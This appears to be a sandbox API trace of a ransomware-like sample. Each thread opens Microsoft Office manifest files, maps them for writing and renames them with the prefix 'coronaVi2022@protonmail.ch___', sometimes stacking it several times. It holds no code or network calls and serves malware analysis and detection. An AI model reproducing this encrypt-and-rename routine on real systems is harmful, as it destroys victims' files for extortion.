	[0090.055] GetCurrentThreadId () returned 0x15d0
	[0090.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml", dwFileAttributes=0x80) returned 1
	[0090.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifestloc.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8d4
	[0090.055] GetFileSizeEx (in: hFile=0x8d4, lpFileSize=0x5d5ff5c | out: lpFileSize=0x5d5ff5c*=9837) returned 1
	[0090.055] CreateFileMappingA (hFile=0x8d4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2679, lpName=0x0) returned 0x8d8
	[0090.056] MapViewOfFile (hFileMappingObject=0x8d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5d60000
	[0090.281] UnmapViewOfFile (lpBaseAddress=0x5d60000) returned 1
	[0090.281] CloseHandle (hObject=0x8d8) returned 1
	[0090.281] GetCurrentThreadId () returned 0x15d0
	[0090.281] FlushFileBuffers (hFile=0x8d4) returned 1
	[0091.231] CloseHandle (hObject=0x8d4) returned 1
	[0091.365] _swprintf (in: param_1=0x5d59f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml") returned 134
	[0091.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifestloc.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifestloc.en-us.xml")) returned 1
	[0091.425] free (_Block=0x51f80b0) 
	[0091.425] RtlExitUserThread (Status=0x0) 

Thread:
	id = 339
	os_tid = 0x15d4

	[0090.057] _alloca_probe () returned 0x40328a
	[0090.058] GetCurrentThreadId () returned 0x15d4
	[0090.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml", dwFileAttributes=0x80) returned 1
	[0090.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___authoredextensions.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0
	[0090.058] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x5eaff5c | out: lpFileSize=0x5eaff5c*=377) returned 1
	[0090.059] CreateFileMappingA (hFile=0x8e0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x181, lpName=0x0) returned 0x8e4
	[0090.059] MapViewOfFile (hFileMappingObject=0x8e4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5eb0000
	[0090.060] UnmapViewOfFile (lpBaseAddress=0x5eb0000) returned 1
	[0090.060] CloseHandle (hObject=0x8e4) returned 1
	[0090.060] GetCurrentThreadId () returned 0x15d4
	[0090.060] FlushFileBuffers (hFile=0x8e0) returned 1
	[0091.002] CloseHandle (hObject=0x8e0) returned 1
	[0091.292] _swprintf (in: param_1=0x5ea9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AuthoredExtensions.xml") returned 131
	[0091.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___authoredextensions.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___authoredextensions.xml")) returned 1
	[0091.395] free (_Block=0x51f1078) 
	[0091.395] RtlExitUserThread (Status=0x0) 

Thread:
	id = 340
	os_tid = 0x15d8

	[0090.061] _alloca_probe () returned 0x40328a
	[0090.062] GetCurrentThreadId () returned 0x15d8
	[0090.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8
	[0090.062] GetFileSizeEx (in: hFile=0x8e8, lpFileSize=0x5feff5c | out: lpFileSize=0x5feff5c*=1553) returned 1
	[0090.062] CreateFileMappingA (hFile=0x8e8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x611, lpName=0x0) returned 0x8ec
	[0090.063] MapViewOfFile (hFileMappingObject=0x8ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5ff0000
	[0090.279] UnmapViewOfFile (lpBaseAddress=0x5ff0000) returned 1
	[0090.279] CloseHandle (hObject=0x8ec) returned 1
	[0090.279] GetCurrentThreadId () returned 0x15d8
	[0090.279] FlushFileBuffers (hFile=0x8e8) returned 1
	[0091.230] CloseHandle (hObject=0x8e8) returned 1
	[0091.360] _swprintf (in: param_1=0x5fe9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 191
	[0091.360] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.419] free (_Block=0x51f90b8) 
	[0091.419] RtlExitUserThread (Status=0x0) 

Thread:
	id = 341
	os_tid = 0x15dc

	[0090.065] _alloca_probe () returned 0x40328a
	[0090.065] GetCurrentThreadId () returned 0x15dc
	[0090.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4
	[0090.065] GetFileSizeEx (in: hFile=0x8f4, lpFileSize=0x613ff5c | out: lpFileSize=0x613ff5c*=1281) returned 1
	[0090.066] CreateFileMappingA (hFile=0x8f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x8f8
	[0090.066] MapViewOfFile (hFileMappingObject=0x8f8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x6140000
	[0090.278] UnmapViewOfFile (lpBaseAddress=0x6140000) returned 1
	[0090.278] CloseHandle (hObject=0x8f8) returned 1
	[0090.278] GetCurrentThreadId () returned 0x15dc
	[0090.278] FlushFileBuffers (hFile=0x8f4) returned 1
	[0091.227] CloseHandle (hObject=0x8f4) returned 1
	[0091.359] _swprintf (in: param_1=0x6139f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 191
	[0091.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.418] free (_Block=0x51f2080) 
	[0091.418] RtlExitUserThread (Status=0x0) 

Thread:
	id = 342
	os_tid = 0x15e0

	[0090.068] _alloca_probe () returned 0x40328a
	[0090.068] GetCurrentThreadId () returned 0x15e0
	[0090.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900
	[0090.069] GetFileSizeEx (in: hFile=0x900, lpFileSize=0x628ff5c | out: lpFileSize=0x628ff5c*=1281) returned 1
	[0090.069] CreateFileMappingA (hFile=0x900, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x904
	[0090.069] MapViewOfFile (hFileMappingObject=0x904, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x6290000
	[0090.278] UnmapViewOfFile (lpBaseAddress=0x6290000) returned 1
	[0090.278] CloseHandle (hObject=0x904) returned 1
	[0090.278] GetCurrentThreadId () returned 0x15e0
	[0090.278] FlushFileBuffers (hFile=0x900) returned 1
	[0091.222] CloseHandle (hObject=0x900) returned 1
	[0091.359] _swprintf (in: param_1=0x6289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 191
	[0091.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.417] free (_Block=0x51fc0d0) 
	[0091.417] RtlExitUserThread (Status=0x0) 

Thread:
	id = 343
	os_tid = 0x15e4

	[0090.071] _alloca_probe () returned 0x40328a
	[0090.071] GetCurrentThreadId () returned 0x15e4
	[0090.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c
	[0090.072] GetFileSizeEx (in: hFile=0x90c, lpFileSize=0x63dff5c | out: lpFileSize=0x63dff5c*=253712) returned 1
	[0090.072] CreateFileMappingA (hFile=0x90c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3df10, lpName=0x0) returned 0x910
	[0090.074] MapViewOfFile (hFileMappingObject=0x910, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x63e0000
	[0090.867] UnmapViewOfFile (lpBaseAddress=0x63e0000) returned 1
	[0090.870] CloseHandle (hObject=0x910) returned 1
	[0090.871] GetCurrentThreadId () returned 0x15e4
	[0090.871] FlushFileBuffers (hFile=0x90c) returned 1
	[0091.295] CloseHandle (hObject=0x90c) returned 1
	[0091.361] _swprintf (in: param_1=0x63d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 191
	[0091.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1
	[0091.421] free (_Block=0x52010f8) 
	[0091.421] RtlExitUserThread (Status=0x0) 

Thread:
	id = 344
	os_tid = 0x15e8

	[0090.075] _alloca_probe () returned 0x40328a
	[0090.076] GetCurrentThreadId () returned 0x15e8
	[0090.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0090.077] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x655ff5c | out: lpFileSize=0x655ff5c*=1281) returned 1
	[0090.077] CreateFileMappingA (hFile=0x918, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x91c
	[0090.077] MapViewOfFile (hFileMappingObject=0x91c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x6560000
	[0090.271] UnmapViewOfFile (lpBaseAddress=0x6560000) returned 1
	[0090.272] CloseHandle (hObject=0x91c) returned 1
	[0090.272] GetCurrentThreadId () returned 0x15e8
	[0090.272] FlushFileBuffers (hFile=0x918) returned 1
	[0091.219] CloseHandle (hObject=0x918) returned 1
	[0091.359] _swprintf (in: param_1=0x6559f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 191
	[0091.359] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.417] free (_Block=0x51fd0d8) 
	[0091.417] RtlExitUserThread (Status=0x0) 

Thread:
	id = 345
	os_tid = 0x15ec

	[0090.079] _alloca_probe () returned 0x40328a
	[0090.079] GetCurrentThreadId () returned 0x15ec
	[0090.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924
	[0090.080] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x66aff5c | out: lpFileSize=0x66aff5c*=19465) returned 1
	[0090.080] CreateFileMappingA (hFile=0x924, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c11, lpName=0x0) returned 0x928
	[0090.081] MapViewOfFile (hFileMappingObject=0x928, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x66b0000
	[0090.271] UnmapViewOfFile (lpBaseAddress=0x66b0000) returned 1
	[0090.271] CloseHandle (hObject=0x928) returned 1
	[0090.271] GetCurrentThreadId () returned 0x15ec
	[0090.271] FlushFileBuffers (hFile=0x924) returned 1
	[0091.215] CloseHandle (hObject=0x924) returned 1
	[0091.365] _swprintf (in: param_1=0x66a9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 191
	[0091.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.425] free (_Block=0x52000f0) 
	[0091.425] RtlExitUserThread (Status=0x0) 

Thread:
	id = 346
	os_tid = 0x15f0

	[0090.082] _alloca_probe () returned 0x40328a
	[0090.083] GetCurrentThreadId () returned 0x15f0
	[0090.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930
	[0090.086] GetFileSizeEx (in: hFile=0x930, lpFileSize=0x67fff5c | out: lpFileSize=0x67fff5c*=1281) returned 1
	[0090.086] CreateFileMappingA (hFile=0x930, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x934
	[0090.086] MapViewOfFile (hFileMappingObject=0x934, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x6800000
	[0090.267] UnmapViewOfFile (lpBaseAddress=0x6800000) returned 1
	[0090.267] CloseHandle (hObject=0x934) returned 1
	[0090.267] GetCurrentThreadId () returned 0x15f0
	[0090.267] FlushFileBuffers (hFile=0x930) returned 1
	[0091.214] CloseHandle (hObject=0x930) returned 1
	[0091.358] _swprintf (in: param_1=0x67f9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 191
	[0091.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1
	[0091.416] free (_Block=0x51fa0c0) 
	[0091.416] RtlExitUserThread (Status=0x0) 

Thread:
	id = 347
	os_tid = 0x15f4

	[0090.088] _alloca_probe () returned 0x40328a
	[0090.089] GetCurrentThreadId () returned 0x15f4
	[0090.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0090.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c
	[0090.089] GetFileSizeEx (in: hFile=0x93c, lpFileSize=0x694ff5c | out: lpFileSize=0x694ff5c*=1281) returned 1
	[0090.089] CreateFileMappingA (hFile=0x93c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x501, lpName=0x0) returned 0x940
	[0090.090] MapViewOfFile (hFileMappingObject=0x940, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x6950000
	[0090.266] UnmapViewOfFile (lpBaseAddress=0x6950000) returned 1
	[0090.266] CloseHandle (hObject=0x940) returned 1
	[0090.266] GetCurrentThreadId () returned 0x15f4
	[0090.266] FlushFileBuffers (hFile=0x93c) returned 1
	[0091.212] CloseHandle (hObject=0x93c) returned 1
	[0091.358] _swprintf (in: param_1=0x6949f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 191
